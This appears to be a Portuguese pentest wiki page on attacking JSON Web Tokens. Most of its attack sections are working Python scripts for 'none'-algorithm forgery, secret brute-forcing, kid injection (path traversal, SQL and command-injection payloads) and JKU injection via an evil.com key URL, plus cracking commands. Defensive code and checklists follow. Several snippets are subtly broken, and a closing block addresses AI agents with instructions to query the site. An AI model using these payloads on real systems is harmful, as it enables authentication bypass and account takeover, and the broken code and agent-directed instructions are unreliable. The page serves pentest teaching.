# JWT exploitation

## 🔍 **Fundamentos do JWT**

### **O que é JWT?**

**JSON Web Token (JWT)** é um padrão aberto (RFC 7519) que define uma forma compacta e autossuficiente de transmitir informações entre partes como um objeto JSON. É amplamente utilizado para autenticação e autorização em APIs e aplicações web modernas.

### **Estrutura do JWT**

```python
#!/usr/bin/env python3
# jwt_structure.py

import base64
import json
import struct

class JWTStructure:
    """
    Análise da estrutura de um JSON Web Token
    Formato: header.payload.signature
    """
    
    @staticmethod
    def parse_token(token):
        """Parsear token JWT e exibir estrutura"""
        parts = token.split('.')
        
        if len(parts) != 3:
            raise ValueError("Token JWT inválido")
        
        # Decodificar header
        header = json.loads(base64.urlsafe_b64decode(parts[0] + '==').decode())
        
        # Decodificar payload
        payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==').decode())
        
        # Signature permanece codificada
        signature = parts[2]
        
        return {
            'header': header,
            'payload': payload,
            'signature': signature
        }
    
    @staticmethod
    def build_token(header, payload, secret, algorithm='HS256'):
        """Construir token JWT"""
        import jwt
        
        token = jwt.encode(
            payload,
            secret,
            algorithm=algorithm,
            headers=header
        )
        
        return token

# Exemplo de token JWT
sample_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parser = JWTStructure()
parsed = parser.parse_token(sample_token)
print("=== Estrutura JWT ===")
print(f"Header: {json.dumps(parsed['header'], indent=2)}")
print(f"Payload: {json.dumps(parsed['payload'], indent=2)}")
print(f"Signature: {parsed['signature'][:20]}...")
```

### **Componentes do JWT**

```yaml
Header (Cabeçalho):
  - alg: Algoritmo de assinatura (HS256, RS256, ES256, none)
  - typ: Tipo do token (JWT)
  - kid: Key ID (para seleção de chave)
  - jku: JWK Set URL (chave pública)

Payload (Corpo):
  - iss (Issuer): Emissor do token
  - sub (Subject): Assunto do token (usuário)
  - aud (Audience): Audiência do token
  - exp (Expiration Time): Timestamp de expiração
  - nbf (Not Before): Não válido antes de
  - iat (Issued At): Emitido em
  - jti (JWT ID): Identificador único

Signature (Assinatura):
  - HMAC: assinatura simétrica (HS256, HS384, HS512)
  - RSA: assinatura assimétrica (RS256, RS384, RS512)
  - ECDSA: assinatura elíptica (ES256, ES384, ES512)
```

***

## 🏗️ **Arquitetura e Componentes**

### **Fluxo de Autenticação JWT**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant A as API
    participant DB as Banco de Dados

    C->>A: 1. POST /login (credenciais)
    A->>DB: 2. Validar credenciais
    DB-->>A: 3. Dados do usuário
    
    A->>A: 4. Gerar JWT
    Note over A: header + payload + signature
    
    A-->>C: 5. Token JWT
    C->>C: 6. Armazenar token
    
    C->>A: 7. GET /protected (Bearer token)
    A->>A: 8. Validar assinatura
    A->>A: 9. Verificar expiração
    
    A-->>C: 10. Dados protegidos
```

### **Algoritmos de Assinatura**

```python
#!/usr/bin/env python3
# jwt_algorithms.py

import jwt
import time
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

class JWTAlgorithms:
    """Demonstração de diferentes algoritmos JWT"""
    
    def __init__(self):
        self.secret_key = "minha_chave_secreta_super_segura"
        self.private_key = self.generate_rsa_private_key()
        self.public_key = self.private_key.public_key()
    
    def generate_rsa_private_key(self):
        """Gerar chave privada RSA"""
        return rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048
        )
    
    def hs256_token(self, payload):
        """Token com HMAC-SHA256 (simétrico)"""
        token = jwt.encode(
            payload,
            self.secret_key,
            algorithm='HS256'
        )
        return token
    
    def rs256_token(self, payload):
        """Token com RSA-SHA256 (assimétrico)"""
        # Serializar chave privada para PEM
        pem = self.private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )
        
        token = jwt.encode(
            payload,
            pem,
            algorithm='RS256'
        )
        return token
    
    def none_algorithm_token(self, payload):
        """Token com algoritmo 'none' (inseguro)"""
        # Vulnerável - apenas para demonstração
        headers = {'alg': 'none', 'typ': 'JWT'}
        
        # Construir token manualmente
        header_enc = base64.urlsafe_b64encode(
            json.dumps(headers).encode()
        ).decode().rstrip('=')
        
        payload_enc = base64.urlsafe_b64encode(
            json.dumps(payload).encode()
        ).decode().rstrip('=')
        
        return f"{header_enc}.{payload_enc}."

# Demonstração
jwt_demo = JWTAlgorithms()

payload = {
    'sub': '1234567890',
    'name': 'Usuário Teste',
    'iat': int(time.time()),
    'exp': int(time.time()) + 3600
}

print("=== Tokens JWT ===")
print(f"HS256: {jwt_demo.hs256_token(payload)[:50]}...")
print(f"RS256: {jwt_demo.rs256_token(payload)[:50]}...")
print(f"None:  {jwt_demo.none_algorithm_token(payload)}")
```

***

## 💥 **Vulnerabilidades Comuns**

### **Mapa de Vulnerabilidades JWT**

```mermaid
graph TD
    A[Vulnerabilidades JWT] --> B[Algoritmo None]
    A --> C[Chave Fraca]
    A --> D[Kid Injection]
    A --> E[JKU Injection]
    A --> F[Expiração Ausente]
    A --> G[Informações Sensíveis]
    
    B --> B1[Assinatura ignorada]
    B --> B2[Elevação de privilégio]
    
    C --> C1[Brute Force]
    C --> C2[Token forgery]
    
    D --> D1[Path Traversal]
    D --> D2[SQL Injection]
    
    E --> E1[Chave pública maliciosa]
    E --> E2[Remote key injection]
    
    F --> F1[Token perpétuo]
    F --> F2[Replay attacks]
    
    G --> G1[Exposição de dados]
    G --> G2[Credenciais em token]
```

### **Vulnerabilidade 1: Algoritmo None**

```python
#!/usr/bin/env python3
# jwt_none_attack.py

import jwt
import base64
import json

class JWTNoneAttack:
    """
    Ataque de algoritmo 'none' - Bypass de assinatura
    CVE-2015-9235, CVE-2016-5431
    """
    
    def __init__(self, target_token):
        self.token = target_token
        self.vulnerable = False
    
    def check_vulnerability(self):
        """Verificar se aceita algoritmo 'none'"""
        try:
            # Tentar decodificar com algoritmo none
            decoded = jwt.decode(
                self.token,
                options={'verify_signature': False}
            )
            
            # Tentar criar token com algoritmo none
            parts = self.token.split('.')
            header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
            
            if header.get('alg') == 'none':
                self.vulnerable = True
                return True
            
        except:
            pass
        
        return False
    
    def create_none_token(self, original_token, new_payload):
        """Criar token com algoritmo 'none'"""
        parts = original_token.split('.')
        
        # Modificar header
        header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
        header['alg'] = 'none'
        
        # Codificar header
        new_header = base64.urlsafe_b64encode(
            json.dumps(header).encode()
        ).decode().rstrip('=')
        
        # Modificar payload
        payload = new_payload
        new_payload_enc = base64.urlsafe_b64encode(
            json.dumps(payload).encode()
        ).decode().rstrip('=')
        
        # Assinatura vazia
        return f"{new_header}.{new_payload_enc}."
    
    def exploit(self, new_payload):
        """Executar ataque"""
        if self.check_vulnerability():
            malicious_token = self.create_none_token(self.token, new_payload)
            return malicious_token
        return None

# Exemplo de ataque
original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.signature"

attack = JWTNoneAttack(original_token)
malicious_payload = {'user': 'alice', 'role': 'admin'}

result = attack.exploit(malicious_payload)
if result:
    print(f"💉 Token malicioso criado: {result}")
    print("   ✅ Ataque de algoritmo 'none' bem-sucedido!")
```

### **Vulnerabilidade 2: Chave Fraca**

```python
#!/usr/bin/env python3
# jwt_weak_key_attack.py

import jwt
import itertools
import time

class JWTWeakKeyAttack:
    """
    Ataque de força bruta para descobrir chave secreta HS256
    """
    
    def __init__(self, token, wordlist):
        self.token = token
        self.wordlist = wordlist
    
    def try_key(self, key):
        """Testar chave candidata"""
        try:
            decoded = jwt.decode(
                self.token,
                key,
                algorithms=['HS256']
            )
            return decoded
        except:
            return None
    
    def brute_force(self, timeout=60):
        """Força bruta com wordlist"""
        start_time = time.time()
        attempts = 0
        
        with open(self.wordlist, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                if time.time() - start_time > timeout:
                    break
                
                key = line.strip()
                attempts += 1
                
                result = self.try_key(key)
                if result:
                    print(f"✅ Chave encontrada após {attempts} tentativas: {key}")
                    return result
                
                if attempts % 1000 == 0:
                    print(f"   Tentativas: {attempts}")
        
        print(f"❌ Chave não encontrada após {attempts} tentativas")
        return None
    
    def crack_with_common_secrets(self):
        """Testar com segredos comuns"""
        common_secrets = [
            'secret',
            'secret123',
            'password',
            'admin',
            'changeme',
            'jwtsecret',
            'mysecret',
            'test'
        ]
        
        for secret in common_secrets:
            result = self.try_key(secret)
            if result:
                print(f"✅ Chave encontrada: {secret}")
                return result
        
        return None

# Uso
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.signature"

# Tentar com segredos comuns
attack = JWTWeakKeyAttack(token, None)
attack.crack_with_common_secrets()
```

### **Vulnerabilidade 3: Kid Injection**

```python
#!/usr/bin/env python3
# jwt_kid_injection.py

import jwt
import base64
import json
import os

class JWTKidInjection:
    """
    Ataque de injeção no campo Kid (Key ID)
    CVE-2018-0114, CVE-2018-2633
    """
    
    def __init__(self, target):
        self.target = target
    
    def create_kid_payload(self, kid_value, payload, algorithm='HS256'):
        """Criar token com Kid malicioso"""
        # Header com Kid
        header = {
            'alg': algorithm,
            'typ': 'JWT',
            'kid': kid_value
        }
        
        # Token sem assinatura (para teste)
        header_enc = base64.urlsafe_b64encode(
            json.dumps(header).encode()
        ).decode().rstrip('=')
        
        payload_enc = base64.urlsafe_b64encode(
            json.dumps(payload).encode()
        ).decode().rstrip('=')
        
        return f"{header_enc}.{payload_enc}."
    
    def path_traversal_attack(self, file_path='/etc/passwd'):
        """Path traversal via Kid"""
        token = self.create_kid_payload(
            f"../../../..{file_path}",
            {'user': 'admin', 'role': 'admin'}
        )
        print(f"💉 Path Traversal: {token}")
        return token
    
    def sql_injection_attack(self, payload="' UNION SELECT 'key'--"):
        """SQL Injection via Kid"""
        token = self.create_kid_payload(
            payload,
            {'user': 'admin', 'role': 'admin'}
        )
        print(f"💉 SQL Injection: {token}")
        return token
    
    def command_injection_attack(self, cmd="; cat /etc/passwd;"):
        """Command Injection via Kid"""
        token = self.create_kid_payload(
            cmd,
            {'user': 'admin', 'role': 'admin'}
        )
        print(f"💉 Command Injection: {token}")
        return token

# Demonstração
injection = JWTKidInjection("api.target.com")

print("=== Ataques Kid Injection ===")
injection.path_traversal_attack()
injection.sql_injection_attack()
injection.command_injection_attack()
```

### **Vulnerabilidade 4: JKU Injection**

```python
#!/usr/bin/env python3
# jwt_jku_injection.py

import json
import base64
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

class JWTJKUInjection:
    """
    Ataque de injeção JKU (JWK Set URL)
    Permite usar chave pública remota maliciosa
    """
    
    def __init__(self, target_url):
        self.target_url = target_url
    
    def generate_malicious_jwk(self):
        """Gerar par de chaves RSA malicioso"""
        # Gerar chave privada
        private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048
        )
        
        # Extrair chave pública
        public_key = private_key.public_key()
        
        # Serializar chave pública para JWK
        public_numbers = public_key.public_numbers()
        
        jwk = {
            'kty': 'RSA',
            'n': base64.urlsafe_b64encode(
                public_numbers.n.to_bytes(256, 'big')
            ).decode().rstrip('='),
            'e': base64.urlsafe_b64encode(
                public_numbers.e.to_bytes(3, 'big')
            ).decode().rstrip('=')
        }
        
        return jwk, private_key
    
    def create_malicious_jku_header(self, jku_url):
        """Criar header com JKU malicioso"""
        header = {
            'alg': 'RS256',
            'typ': 'JWT',
            'jku': jku_url
        }
        
        return header
    
    def create_token_with_jku(self, payload, jku_url):
        """Criar token usando JKU malicioso"""
        # Gerar chave maliciosa
        jwk, private_key = self.generate_malicious_jwk()
        
        # Criar header com JKU
        header = self.create_malicious_jku_header(jku_url)
        
        # Assinar com chave privada maliciosa
        pem = private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )
        
        token = jwt.encode(
            payload,
            pem,
            algorithm='RS256',
            headers=header
        )
        
        return token, jwk

# Demonstração
injection = JWTJKUInjection("https://evil.com/jwks.json")

payload = {'user': 'admin', 'role': 'admin'}
token, jwk = injection.create_token_with_jku(payload, "https://evil.com/jwks.json")

print("=== JKU Injection Attack ===")
print(f"💉 Token malicioso: {token[:50]}...")
print(f"📡 JWK malicioso: {json.dumps(jwk, indent=2)}")
```

***

## 🔧 **Ferramentas de Exploração**

### **Ferramenta 1: JWT Cracker**

```python
#!/usr/bin/env python3
# jwt_cracker.py

import jwt
import hashlib
import itertools
import string
import time
from concurrent.futures import ThreadPoolExecutor

class JWTCracker:
    """
    Ferramenta para quebrar chaves JWT
    Suporta brute force, dicionário e rainbow tables
    """
    
    def __init__(self, token):
        self.token = token
        self.algorithms = ['HS256', 'HS384', 'HS512']
    
    def dictionary_attack(self, wordlist, threads=4):
        """Ataque com dicionário"""
        found = None
        
        def try_key(key):
            nonlocal found
            if found:
                return
            
            try:
                decoded = jwt.decode(
                    self.token,
                    key.strip(),
                    algorithms=self.algorithms
                )
                found = (key.strip(), decoded)
                return True
            except:
                return False
        
        with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f:
            keys = [line.strip() for line in f]
        
        with ThreadPoolExecutor(max_workers=threads) as executor:
            executor.map(try_key, keys)
        
        return found
    
    def brute_force_attack(self, max_len=8, charset=string.ascii_letters + string.digits):
        """Ataque de força bruta"""
        for length in range(1, max_len + 1):
            print(f"Testando comprimento {length}...")
            
            for guess in itertools.product(charset, repeat=length):
                key = ''.join(guess)
                try:
                    decoded = jwt.decode(self.token, key, algorithms=self.algorithms)
                    return key, decoded
                except:
                    continue
        
        return None
    
    def analyze_token(self):
        """Analisar token sem verificar assinatura"""
        try:
            # Decodificar sem verificar
            header = jwt.get_unverified_header(self.token)
            payload = jwt.decode(self.token, options={'verify_signature': False})
            
            print("=== Análise do Token ===")
            print(f"Header: {json.dumps(header, indent=2)}")
            print(f"Payload: {json.dumps(payload, indent=2)}")
            
            # Verificar expiração
            if 'exp' in payload:
                exp_time = payload['exp']
                now = time.time()
                if exp_time < now:
                    print("⚠️ Token expirado!")
                else:
                    print(f"✅ Token válido por mais {int(exp_time - now)} segundos")
            
            return header, payload
        except Exception as e:
            print(f"❌ Erro na análise: {e}")
            return None, None

# Uso
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UifQ.signature"
cracker = JWTCracker(token)

# Análise inicial
cracker.analyze_token()
```

### **Ferramenta 2: JWT Fuzzer**

```python
#!/usr/bin/env python3
# jwt_fuzzer.py

import jwt
import json
import base64
import random
import string
import requests

class JWTFuzzer:
    """
    Fuzzer para testar vulnerabilidades JWT
    """
    
    def __init__(self, target_url, token):
        self.target_url = target_url
        self.token = token
        self.vulnerabilities = []
    
    def fuzz_algorithm(self):
        """Testar algoritmos inseguros"""
        algorithms = ['none', 'HS256', 'HS384', 'HS512', 'RS256', 'ES256']
        results = []
        
        for alg in algorithms:
            try:
                # Tentar decodificar com algoritmo específico
                decoded = jwt.decode(
                    self.token,
                    algorithms=[alg],
                    options={'verify_signature': False}
                )
                
                # Criar token com algoritmo modificado
                if alg == 'none':
                    parts = self.token.split('.')
                    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
                    header['alg'] = 'none'
                    
                    new_header = base64.urlsafe_b64encode(
                        json.dumps(header).encode()
                    ).decode().rstrip('=')
                    
                    fake_token = f"{new_header}.{parts[1]}."
                    results.append(('none', fake_token))
                    
            except:
                pass
        
        if results:
            self.vulnerabilities.append({
                'type': 'ALGORITHM_NONE',
                'details': results
            })
        
        return results
    
    def fuzz_claims(self):
        """Fuzzer de claims JWT"""
        malicious_claims = [
            {'exp': 0},  # Expirado
            {'exp': 9999999999},  # Expiração distante
            {'nbf': 9999999999},  # Não válido ainda
            {'admin': True},
            {'role': 'admin'},
            {'is_admin': True},
            {'group': 'administrators'},
            {'*': True}
        ]
        
        for claim in malicious_claims:
            try:
                # Tentar modificar payload
                parts = self.token.split('.')
                payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
                payload.update(claim)
                
                new_payload = base64.urlsafe_b64encode(
                    json.dumps(payload).encode()
                ).decode().rstrip('=')
                
                fake_token = f"{parts[0]}.{new_payload}.{parts[2]}"
                
                # Testar com API
                response = self.test_token(fake_token)
                
                if response and response.status_code == 200:
                    self.vulnerabilities.append({
                        'type': 'CLAIM_INJECTION',
                        'claim': claim,
                        'token': fake_token
                    })
                    
            except:
                pass
    
    def test_token(self, token):
        """Testar token contra API alvo"""
        try:
            headers = {'Authorization': f'Bearer {token}'}
            response = requests.get(self.target_url, headers=headers, timeout=5)
            return response
        except:
            return None
    
    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        print("\n=== Relatório de Vulnerabilidades JWT ===")
        print(f"Target: {self.target_url}")
        print(f"Token testado: {self.token[:30]}...")
        print(f"\nVulnerabilidades encontradas: {len(self.vulnerabilities)}")
        
        for vuln in self.vulnerabilities:
            print(f"\n⚠️ {vuln['type']}")
            print(f"   Detalhes: {vuln['details']}")
        
        return self.vulnerabilities

# Uso
target = "https://api.target.com/protected"
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

fuzzer = JWTFuzzer(target, token)
fuzzer.fuzz_algorithm()
fuzzer.generate_report()
```

### **Ferramentas Externas**

```bash
# jwt_tool - Ferramenta completa para JWT
pip install jwt_tool
jwt_tool <token>
jwt_tool -t <token> -X a  # Ataque algoritmo none
jwt_tool -t <token> -X k  # Ataque kid

# john - Quebra de JWT
john --format=HMAC-SHA256 token.txt --wordlist=rockyou.txt

# hashcat - Quebra de JWT
hashcat -m 16500 -a 0 token.txt rockyou.txt

# Burp Suite Extensions
# - JSON Web Token Attacker
# - JWT Editor

# Online Tools
# https://jwt.io
# https://token.dev
```

***

## 🛡️ **Mitigações e Defesas**

### **Implementação Segura**

```python
#!/usr/bin/env python3
# secure_jwt_implementation.py

import jwt
import time
import secrets
import json
import redis
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import hashlib

class SecureJWT:
    """
    Implementação segura de JWT com boas práticas
    """
    
    def __init__(self):
        # Gerar par de chaves RSA para produção
        self.private_key = self._generate_private_key()
        self.public_key = self.private_key.public_key()
        
        # Redis para blacklist e refresh tokens
        self.redis_client = redis.Redis(host='localhost', port=6379, db=0)
        
        # Configurações
        self.issuer = "api.example.com"
        self.audience = "example.com"
        self.access_token_ttl = 900  # 15 minutos
        self.refresh_token_ttl = 86400  # 24 horas
    
    def _generate_private_key(self):
        """Gerar chave privada RSA segura"""
        return rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048
        )
    
    def create_access_token(self, user_id, roles, session_id):
        """Criar access token JWT"""
        now = int(time.time())
        
        payload = {
            # Claims padrão
            'iss': self.issuer,
            'sub': str(user_id),
            'aud': self.audience,
            'exp': now + self.access_token_ttl,
            'nbf': now,
            'iat': now,
            'jti': hashlib.sha256(session_id.encode()).hexdigest()[:16],
            
            # Claims customizadas
            'user_id': user_id,
            'roles': roles,
            'session_id': session_id
        }
        
        # Serializar chave privada para PEM
        pem = self.private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )
        
        # Criar token com RS256
        token = jwt.encode(
            payload,
            pem,
            algorithm='RS256',
            headers={
                'typ': 'JWT',
                'kid': 'key-1'  # Key ID para rotação de chaves
            }
        )
        
        return token
    
    def create_refresh_token(self, user_id, session_id):
        """Criar refresh token"""
        token = secrets.token_urlsafe(32)
        
        # Armazenar no Redis
        key = f"refresh:{user_id}:{session_id}"
        self.redis_client.setex(
            key,
            self.refresh_token_ttl,
            token
        )
        
        return token
    
    def verify_token(self, token):
        """Verificar token JWT"""
        try:
            # Carregar chave pública
            pem = self.public_key.public_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PublicFormat.SubjectPublicKeyInfo
            )
            
            # Verificar token
            payload = jwt.decode(
                token,
                pem,
                algorithms=['RS256'],
                issuer=self.issuer,
                audience=self.audience,
                options={
                    'require_exp': True,
                    'require_iat': True,
                    'require_nbf': True
                }
            )
            
            # Verificar se token não está na blacklist
            if self._is_blacklisted(payload['jti']):
                return None
            
            return payload
            
        except jwt.ExpiredSignatureError:
            print("Token expirado")
        except jwt.InvalidTokenError as e:
            print(f"Token inválido: {e}")
        
        return None
    
    def revoke_token(self, jti):
        """Revogar token (blacklist)"""
        # Adicionar à blacklist com TTL
        self.redis_client.setex(
            f"blacklist:{jti}",
            self.access_token_ttl,
            'revoked'
        )
    
    def _is_blacklisted(self, jti):
        """Verificar se token está na blacklist"""
        return self.redis_client.exists(f"blacklist:{jti}")
    
    def refresh_access_token(self, refresh_token, user_id, session_id):
        """Renovar access token usando refresh token"""
        key = f"refresh:{user_id}:{session_id}"
        stored_token = self.redis_client.get(key)
        
        if not stored_token or stored_token.decode() != refresh_token:
            return None
        
        # Criar novo access token
        roles = self._get_user_roles(user_id)
        return self.create_access_token(user_id, roles, session_id)
    
    def _get_user_roles(self, user_id):
        """Obter roles do usuário (simulação)"""
        # Na prática, consultar banco de dados
        return ['user']
    
    def logout(self, user_id, session_id, access_token_jti):
        """Logout - revogar tokens"""
        # Revogar access token
        self.revoke_token(access_token_jti)
        
        # Remover refresh token
        key = f"refresh:{user_id}:{session_id}"
        self.redis_client.delete(key)

# Demonstração
secure = SecureJWT()

# Criar tokens
access = secure.create_access_token(12345, ['user'], 'session_abc123')
refresh = secure.create_refresh_token(12345, 'session_abc123')

print("=== Tokens Seguros ===")
print(f"Access Token: {access[:50]}...")
print(f"Refresh Token: {refresh}")

# Verificar token
verified = secure.verify_token(access)
print(f"\nToken verificado: {verified}")
```

### **Middleware de Proteção**

```python
#!/usr/bin/env python3
# jwt_middleware.py

from functools import wraps
import jwt
from flask import request, jsonify

class JWTProtectionMiddleware:
    """
    Middleware de proteção para APIs JWT
    """
    
    def __init__(self, app, public_key):
        self.app = app
        self.public_key = public_key
        self.protected_routes = set()
    
    def require_auth(self, roles=None):
        """Decorator para exigir autenticação"""
        def decorator(f):
            @wraps(f)
            def decorated_function(*args, **kwargs):
                # Extrair token
                auth_header = request.headers.get('Authorization')
                
                if not auth_header or not auth_header.startswith('Bearer '):
                    return jsonify({'error': 'Token não fornecido'}), 401
                
                token = auth_header.split(' ')[1]
                
                # Verificar token
                try:
                    payload = jwt.decode(
                        token,
                        self.public_key,
                        algorithms=['RS256'],
                        issuer='api.example.com',
                        audience='example.com'
                    )
                    
                    # Verificar roles
                    if roles and not any(role in payload.get('roles', []) for role in roles):
                        return jsonify({'error': 'Permissão insuficiente'}), 403
                    
                    # Adicionar payload à requisição
                    request.user = payload
                    
                except jwt.ExpiredSignatureError:
                    return jsonify({'error': 'Token expirado'}), 401
                except jwt.InvalidTokenError as e:
                    return jsonify({'error': f'Token inválido: {str(e)}'}), 401
                
                return f(*args, **kwargs)
            
            return decorated_function
        return decorator
    
    def rate_limit(self, limit=100, window=60):
        """Rate limiting baseado em token"""
        from collections import defaultdict
        import time
        
        requests = defaultdict(list)
        
        def decorator(f):
            @wraps(f)
            def decorated_function(*args, **kwargs):
                # Obter ID do usuário do token
                user_id = getattr(request, 'user', {}).get('sub', request.remote_addr)
                
                now = time.time()
                # Limpar requests antigos
                requests[user_id] = [t for t in requests[user_id] if now - t < window]
                
                if len(requests[user_id]) >= limit:
                    return jsonify({'error': 'Rate limit exceeded'}), 429
                
                requests[user_id].append(now)
                return f(*args, **kwargs)
            
            return decorated_function
        return decorator
    
    def audit_log(self, action):
        """Log de auditoria para ações sensíveis"""
        def decorator(f):
            @wraps(f)
            def decorated_function(*args, **kwargs):
                # Registrar ação
                user = getattr(request, 'user', {}).get('sub', 'anonymous')
                ip = request.remote_addr
                
                print(f"AUDIT: User {user} from {ip} performed {action}")
                
                # Log para arquivo
                with open('audit.log', 'a') as f_log:
                    import time
                    f_log.write(f"{time.time()},{user},{ip},{action}\n")
                
                return f(*args, **kwargs)
            
            return decorated_function
        return decorator
```

### **Checklist de Segurança JWT**

```yaml
Checklist de Implementação:
  
  Algoritmos:
    ✓ Usar RS256 ou ES256 (assimétricos)
    ✓ Nunca usar algoritmo 'none'
    ✓ Evitar HS256 em produção (chave compartilhada)
  
  Claims:
    ✓ Sempre incluir 'exp' (expiração)
    ✓ Usar 'nbf' e 'iat' para proteção
    ✓ Validar 'iss' e 'aud'
    ✓ Usar 'jti' único para revogação
  
  Chaves:
    ✓ Chaves de pelo menos 2048 bits (RSA)
    ✓ Rotacionar chaves periodicamente
    ✓ Armazenar chaves de forma segura (HSM)
    ✓ Implementar key rotation
  
  Armazenamento:
    ✓ Não armazenar tokens em localStorage
    ✓ Usar httpOnly cookies com Secure e SameSite
    ✓ Implementar blacklist para revogação
    ✓ Usar refresh tokens com rotação
  
  Validação:
    ✓ Validar assinatura sempre
    ✓ Verificar expiração em cada request
    ✓ Validar claims de negócio
    ✓ Rate limiting por token
```

***

## 📊 **Casos Reais e Labs**

### **Caso 1: Auth0 JWT Vulnerability (CVE-2020-15168)**

```python
# Vulnerabilidade em bibliotecas de verificação JWT
# Algumas bibliotecas não validavam o tipo de algoritmo

def vulnerable_verification(token, secret):
    """
    Código vulnerável - não valida algoritmo
    """
    import jwt
    
    # VULNERÁVEL: Aceita qualquer algoritmo
    return jwt.decode(token, secret, verify=True)

def secure_verification(token, secret):
    """
    Código seguro - especifica algoritmo
    """
    import jwt
    
    # SEGURO: Especifica algoritmo permitido
    return jwt.decode(
        token,
        secret,
        algorithms=['HS256']  # Apenas algoritmos confiáveis
    )
```

### **Caso 2: Node.js JWT Bypass (CVE-2018-0114)**

```javascript
// Vulnerabilidade em middleware Express
const jwt = require('jsonwebtoken');

// VULNERÁVEL
app.use((req, res, next) => {
    const token = req.headers.authorization;
    
    // Não especifica algoritmo!
    jwt.verify(token, secret, (err, decoded) => {
        if (err) return res.status(401).json({error: 'Invalid token'});
        req.user = decoded;
        next();
    });
});

// SEGURO
app.use((req, res, next) => {
    const token = req.headers.authorization;
    
    // Especifica algoritmo
    jwt.verify(token, secret, {algorithms: ['HS256']}, (err, decoded) => {
        if (err) return res.status(401).json({error: 'Invalid token'});
        req.user = decoded;
        next();
    });
});
```

### **Labs Práticos**

```bash
# PortSwigger Web Security Academy
# - JWT authentication bypass via unverified signature
# - JWT authentication bypass via weak signing key
# - JWT authentication bypass via kid header path traversal

# TryHackMe - JWT Attacks
# HackTheBox - JWT machines

# Local Lab - Setup
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python3 jwt_tool.py -h
```

***

## 📋 **Checklist de Exploração**

### **Checklist do Pentester**

* [ ] **Reconhecimento**
  * [ ] Identificar tokens JWT
  * [ ] Extrair header e payload
  * [ ] Analisar claims e estrutura
* [ ] **Algoritmo**
  * [ ] Testar algoritmo 'none'
  * [ ] Verificar algoritmos permitidos
  * [ ] Tentar downgrade de algoritmo
* [ ] **Chave**
  * [ ] Testar chaves comuns (secret, password)
  * [ ] Força bruta com wordlist
  * [ ] Verificar key rotation
* [ ] **Injeções**
  * [ ] Kid injection (path traversal, SQLi)
  * [ ] JKU injection (chave remota)
  * [ ] X5U injection (certificado remoto)
* [ ] **Claims**
  * [ ] Modificar expiração
  * [ ] Elevar privilégios
  * [ ] Injetar claims maliciosas
* [ ] **Validação**
  * [ ] Bypass de verificação
  * [ ] Replay attacks
  * [ ] Token reuse

***

## 🔐 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
JWT é um padrão poderoso mas complexo:
  ✅ Compacto e autossuficiente
  ✅ Suporta criptografia assimétrica
  ✅ Amplamente suportado

Desafios de segurança:
  ❌ Algoritmo none - bypass completo
  ❌ Chave fraca - brute force
  ❌ Injeções (kid, jku) - execução remota
  ❌ Falta de revogação nativa
```

### **Recomendações Finais**

{% stepper %}
{% step %}

### Para Desenvolvedores

* Usar apenas algoritmos fortes (RS256, ES256)
* Implementar blacklist para revogação
* Validar todas claims obrigatórias
* Usar refresh tokens com rotação
  {% endstep %}

{% step %}

### Para Pentesters

* Sempre testar algoritmo 'none'
* Força bruta com wordlists específicas
* Testar injeções em kid e jku
* Verificar validação de expiração
  {% endstep %}

{% step %}

### Para Arquitetos

* Preferir tokens opacos quando possível
* Implementar revogação via Redis/banco
* Usar cookies httpOnly em vez de localStorage
* Rotacionar chaves periodicamente
  {% endstep %}
  {% endstepper %}

**🔐 Lembre-se**: JWT é uma ferramenta poderosa, mas a segurança depende completamente da implementação. Nunca confie em tokens sem validação rigorosa.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/autenticacao/jwt-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
